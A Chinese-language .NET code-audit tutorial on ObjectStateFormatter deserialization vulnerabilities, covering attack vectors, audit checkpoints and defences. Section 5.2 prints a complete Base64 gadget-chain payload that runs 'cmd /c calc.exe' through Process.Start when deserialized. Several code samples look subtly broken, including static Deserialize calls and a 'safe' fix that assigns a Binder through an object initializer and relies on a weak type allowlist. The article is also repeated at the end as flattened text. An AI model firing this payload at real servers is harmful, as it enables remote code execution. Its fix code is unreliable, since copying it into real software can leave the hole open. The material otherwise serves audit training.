.NET高级代码审计(第十课) ObjectStateFormatter反序列化漏洞
字数 1357 2025-08-18 11:38:28

.NET ObjectStateFormatter 反序列化漏洞深度分析与防御指南

1. ObjectStateFormatter 概述

ObjectStateFormatter 是 .NET Framework 中的一个类,位于 System.Web.UI 命名空间,主要用于序列化和反序列化状态对象图。它的典型应用场景包括:

  • ASP.NET ViewState 的序列化处理
  • 对基础类型存储在 Pair、Hashtable 等数据结构中的快速序列化
  • 状态持久化和传输

2. 序列化机制

2.1 基本序列化示例

定义一个测试类:

public class TestClass
{
    public string Name { get; set; }
    public int Age { get; set; }
    public string Address { get; set; }
    
    public static void ClassMethod()
    {
        Process.Start("calc.exe");
    }
}

序列化过程:

TestClass test = new TestClass 
{
    Name = "Ivan1ee",
    Age = 18,
    Address = "Beijing"
};

ObjectStateFormatter formatter = new ObjectStateFormatter();
byte[] serializedData = formatter.Serialize(test);

3. 反序列化漏洞原理

3.1 基本反序列化

ObjectStateFormatter formatter = new ObjectStateFormatter();
TestClass deserialized = (TestClass)formatter.Deserialize(serializedData);

3.2 漏洞成因

ObjectStateFormatter 实现了 IFormatter 接口,与 BinaryFormatter 类似,在反序列化不受信任的数据时存在安全风险。攻击者可以构造恶意序列化数据,在反序列化时执行任意代码。

4. 攻击向量分析

4.1 ActivitySurrogateSelector 攻击

这是最有效的攻击方式,利用步骤如下:

  1. 构造一个恶意类,实现 ISerializationSurrogate 接口
  2. 使用 ActivitySurrogateSelector 将其包装
  3. 序列化恶意对象
  4. 当目标反序列化时触发代码执行

攻击代码示例:

// 构造恶意序列化数据
MemoryStream memoryStream = new MemoryStream();
ObjectStateFormatter formatter = new ObjectStateFormatter();
formatter.Serialize(memoryStream, maliciousObject);
byte[] payload = memoryStream.ToArray();

// 受害者反序列化
ObjectStateFormatter victimFormatter = new ObjectStateFormatter();
object obj = victimFormatter.Deserialize(payload); // 触发RCE

4.2 PSObject 攻击 (CVE-2017-8565)

此攻击利用 Windows PowerShell 的漏洞,但在已打补丁的系统上不可行。关键点:

  • 需要系统未安装 KB4025872 补丁
  • 利用 PowerShell 的序列化机制
  • 可导致远程代码执行

5. 漏洞利用实践

5.1 典型漏洞代码模式

不安全的反序列化代码示例:

// 方式1:直接反序列化用户输入
public void DeserializeData(string input)
{
    ObjectStateFormatter formatter = new ObjectStateFormatter();
    object obj = formatter.Deserialize(input); // 危险!
}

// 方式2:反序列化Base64编码的输入
public void DeserializeBase64Data(string base64Input)
{
    byte[] data = Convert.FromBase64String(base64Input);
    ObjectStateFormatter formatter = new ObjectStateFormatter();
    object obj = formatter.Deserialize(data); // 同样危险
}

5.2 漏洞利用POC

以下是Base64编码的攻击载荷示例:

/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA%2BU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

此POC会执行calc.exe弹出计算器。

6. 代码审计要点

审计时需关注以下危险模式:

  1. 直接反序列化用户输入

    ObjectStateFormatter.Deserialize(userControlledInput);
    
  2. 反序列化来自不可信源的ViewState

    string viewState = Request.Form["__VIEWSTATE"];
    ObjectStateFormatter.Deserialize(viewState);
    
  3. 反序列化配置文件或数据库中的二进制数据

    byte[] configData = ReadFromConfig();
    ObjectStateFormatter.Deserialize(configData);
    

关键审计点:

  • 所有使用ObjectStateFormatter.Deserialize()的地方
  • 未经验证的ViewState处理
  • 来自客户端的状态持久化数据

7. 防御措施

7.1 最佳实践

  1. 避免反序列化不可信数据

    // 不要这样做
    object obj = formatter.Deserialize(untrustedData);
    
  2. 使用替代方案

    • 对于ViewState,使用ViewStateEncryptionMode="Always"
    • 考虑使用JSON等更安全的序列化格式
  3. 实现完整性检查

    // 使用MAC(消息认证码)验证数据完整性
    public object SafeDeserialize(byte[] data, byte[] mac, byte[] key)
    {
        using (HMACSHA256 hmac = new HMACSHA256(key))
        {
            byte[] computedMac = hmac.ComputeHash(data);
            if (!computedMac.SequenceEqual(mac))
            {
                throw new SecurityException("Data tampering detected");
            }
            return new ObjectStateFormatter().Deserialize(data);
        }
    }
    

7.2 代码修复示例

安全的反序列化实现:

public object DeserializeSafely(string input)
{
    // 1. 验证输入是否来自可信源
    if (!IsTrustedSource(input))
    {
        throw new SecurityException("Untrusted source");
    }
    
    // 2. 使用允许列表验证输入
    if (!input.StartsWith("SafePrefix:"))
    {
        throw new SecurityException("Invalid data format");
    }
    
    // 3. 限制反序列化类型
    var binder = new RestrictedSerializationBinder();
    var formatter = new ObjectStateFormatter
    {
        Binder = binder
    };
    
    return formatter.Deserialize(input);
}

// 自定义Binder限制可反序列化的类型
public class RestrictedSerializationBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        // 只允许特定类型
        var allowedTypes = new List<string> 
        { 
            "System.String", 
            "System.Int32",
            "MyNamespace.SafeType"
        };
        
        if (!allowedTypes.Contains(typeName))
        {
            throw new SerializationException($"Type {typeName} is not allowed");
        }
        
        return Type.GetType($"{typeName}, {assemblyName}");
    }
}

8. 总结

ObjectStateFormatter 反序列化漏洞是 .NET 应用程序中一个严重的安全威胁,主要风险包括:

  1. 可导致远程代码执行(RCE)
  2. 常见于ViewState处理场景
  3. 攻击者可通过构造恶意序列化数据利用漏洞
  4. 漏洞利用门槛相对较低

防御策略应遵循:

  • 不反序列化不可信数据原则
  • 实施严格的类型检查
  • 使用加密和完整性验证
  • 考虑使用更安全的替代方案

开发人员应对所有使用ObjectStateFormatter的地方进行安全审计,特别是在处理来自客户端的序列化数据时。

.NET ObjectStateFormatter 反序列化漏洞深度分析与防御指南 1. ObjectStateFormatter 概述 ObjectStateFormatter 是 .NET Framework 中的一个类,位于 System.Web.UI 命名空间,主要用于序列化和反序列化状态对象图。它的典型应用场景包括: ASP.NET ViewState 的序列化处理 对基础类型存储在 Pair、Hashtable 等数据结构中的快速序列化 状态持久化和传输 2. 序列化机制 2.1 基本序列化示例 定义一个测试类: 序列化过程: 3. 反序列化漏洞原理 3.1 基本反序列化 3.2 漏洞成因 ObjectStateFormatter 实现了 IFormatter 接口,与 BinaryFormatter 类似,在反序列化不受信任的数据时存在安全风险。攻击者可以构造恶意序列化数据,在反序列化时执行任意代码。 4. 攻击向量分析 4.1 ActivitySurrogateSelector 攻击 这是最有效的攻击方式,利用步骤如下: 构造一个恶意类,实现 ISerializationSurrogate 接口 使用 ActivitySurrogateSelector 将其包装 序列化恶意对象 当目标反序列化时触发代码执行 攻击代码示例: 4.2 PSObject 攻击 (CVE-2017-8565) 此攻击利用 Windows PowerShell 的漏洞,但在已打补丁的系统上不可行。关键点: 需要系统未安装 KB4025872 补丁 利用 PowerShell 的序列化机制 可导致远程代码执行 5. 漏洞利用实践 5.1 典型漏洞代码模式 不安全的反序列化代码示例: 5.2 漏洞利用POC 以下是Base64编码的攻击载荷示例: 此POC会执行 calc.exe 弹出计算器。 6. 代码审计要点 审计时需关注以下危险模式: 直接反序列化用户输入 : 反序列化来自不可信源的ViewState : 反序列化配置文件或数据库中的二进制数据 : 关键审计点: 所有使用 ObjectStateFormatter.Deserialize() 的地方 未经验证的ViewState处理 来自客户端的状态持久化数据 7. 防御措施 7.1 最佳实践 避免反序列化不可信数据 : 使用替代方案 : 对于ViewState,使用 ViewStateEncryptionMode="Always" 考虑使用JSON等更安全的序列化格式 实现完整性检查 : 7.2 代码修复示例 安全的反序列化实现: 8. 总结 ObjectStateFormatter 反序列化漏洞是 .NET 应用程序中一个严重的安全威胁,主要风险包括: 可导致远程代码执行(RCE) 常见于ViewState处理场景 攻击者可通过构造恶意序列化数据利用漏洞 漏洞利用门槛相对较低 防御策略应遵循: 不反序列化不可信数据原则 实施严格的类型检查 使用加密和完整性验证 考虑使用更安全的替代方案 开发人员应对所有使用ObjectStateFormatter的地方进行安全审计,特别是在处理来自客户端的序列化数据时。